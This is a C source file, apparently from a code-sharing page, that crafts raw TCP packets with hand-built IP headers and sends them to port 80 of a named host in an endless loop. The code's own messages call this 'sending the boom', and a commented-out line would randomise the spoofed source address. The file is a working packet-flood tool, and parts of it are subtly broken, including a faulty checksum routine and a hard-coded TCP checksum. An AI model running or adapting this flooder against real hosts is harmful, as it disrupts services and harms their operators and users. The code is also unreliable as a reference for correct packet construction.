📄 send.c
字号:
#include <sys/socket.h>#include <netinet/in.h>#include <netinet/ip.h>#include <netinet/tcp.h>#include <stdlib.h>#include <errno.h>#include <unistd.h>#include <stdio.h>#include <strings.h>#include <string.h>#include <netdb.h>#define DESTPORT 80#define LOCALPORT 8888#define LOCAL_IP "192.168.0.100"void send_tcp(int sockfd,struct sockaddr_in * addr);unsigned short check_sum(unsigned short * addr,int len);int main(int argc,char **argv){ int sockfd; struct sockaddr_in addr; struct hostent *host; int on=1; if(argc!=2) { fprintf(stderr,"Usage:%s hostname\n\a",argv[0]); exit(1); } bzero(&addr,sizeof(struct sockaddr_in)); addr.sin_family=AF_INET; addr.sin_port=htons(DESTPORT); if(inet_aton(argv[1],&addr.sin_addr)==0) { host=gethostbyname(argv[1]); printf("\nNow I begin gethostbyname\n"); if(host==NULL) { fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno)); exit(1); } addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]); }/**************************************************************/ printf("NOW I begin to create sockfd"); sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); //sockfd=socket(AF_INET,SOCK_STREAM,0); printf("\nCreate sockfd success:%d",sockfd); if(sockfd<0) { fprintf(stderr,"Socket Error:%s\n\a",strerror(errno)); exit(1); } printf("/*NOW I WILL SEND THE BOOM*/");/******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/ setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
setuid(getpid()); send_tcp(sockfd,&addr);}/********send the boom****************************************/void send_tcp(int sockfd,struct sockaddr_in * addr){ char buffer[100]; struct ip *ip; struct tcphdr * tcp; int head_len; char string[]="123456"; char *ptr,*p; int i=1; head_len=sizeof(struct ip) + sizeof(struct tcphdr) + sizeof(string); printf("head_len= %d",head_len); bzero(buffer,100); //printf("struct ip=%d\n",sizeof(struct ip)); //printf("struct tcphdr=%d\n",sizeof(struct tcphdr)); ip=(struct ip *)buffer; ip->ip_v=IPVERSION; //ip->ip_v=5; ip->ip_hl=sizeof(struct ip)>>2; ip->ip_tos=0; ip->ip_len=htons(head_len); ip->ip_id=0;//0表示不分片,1表示分片,分片的大小1518. ip->ip_off=0; ip->ip_ttl=MAXTTL; ip->ip_p=IPPROTO_TCP; ip->ip_sum=0; ip->ip_dst=addr->sin_addr; tcp=(struct tcphdr *)(buffer +sizeof(struct ip)); tcp->source=htons(LOCALPORT); tcp->dest=htons(DESTPORT); tcp->seq=random(); //tcp->ack_seq=0; tcp->ack_seq=(tcp->seq)+1; tcp->doff=5; //tcp->hlen; //tcp->doff=0; //tcp->syn=1; tcp->syn=0; tcp->rst=0; tcp->window=1024; tcp->check=0x7f8a; tcp->ack=0; tcp->psh=0; tcp->fin=0; tcp->urg=0; //while(i<=5)while(1) { ip->ip_src.s_addr=inet_addr(LOCAL_IP); printf("\n the src ip address is:%s\n",inet_ntoa(ip->ip_src.s_addr)); /*ip->ip_src.s_addr=random();*/ //tcp->check=check_sum((unsigned short *)tcp,sizeof(struct tcphdr)); printf("\n Sending the boom!\n"); //ptr=(char *)(tcp+sizeof(struct tcphdr)); ptr= (char *)((int)tcp + (int)(tcp->doff * 4)); p=strcpy(ptr,string); printf(" the p is %s:\n",ptr); printf("----------------------\n"); sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,sizeof(struct sockaddr_in)); //i++; printf("\n Send Over!\n"); }}unsigned short check_sum(unsigned short *addr,int len){ register int nleft=len; register int sum=0; register unsigned short *w=addr; short answer=0; while(nleft>1) { sum+=*w+1; nleft-=2; } if(nleft==1) { *(unsigned char *)(&answer)=*(unsigned char *)w; sum+=answer; } sum=(sum>>16)+(sum&0xffff); sum+=(sum>>16); answer=~sum; return(answer);}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -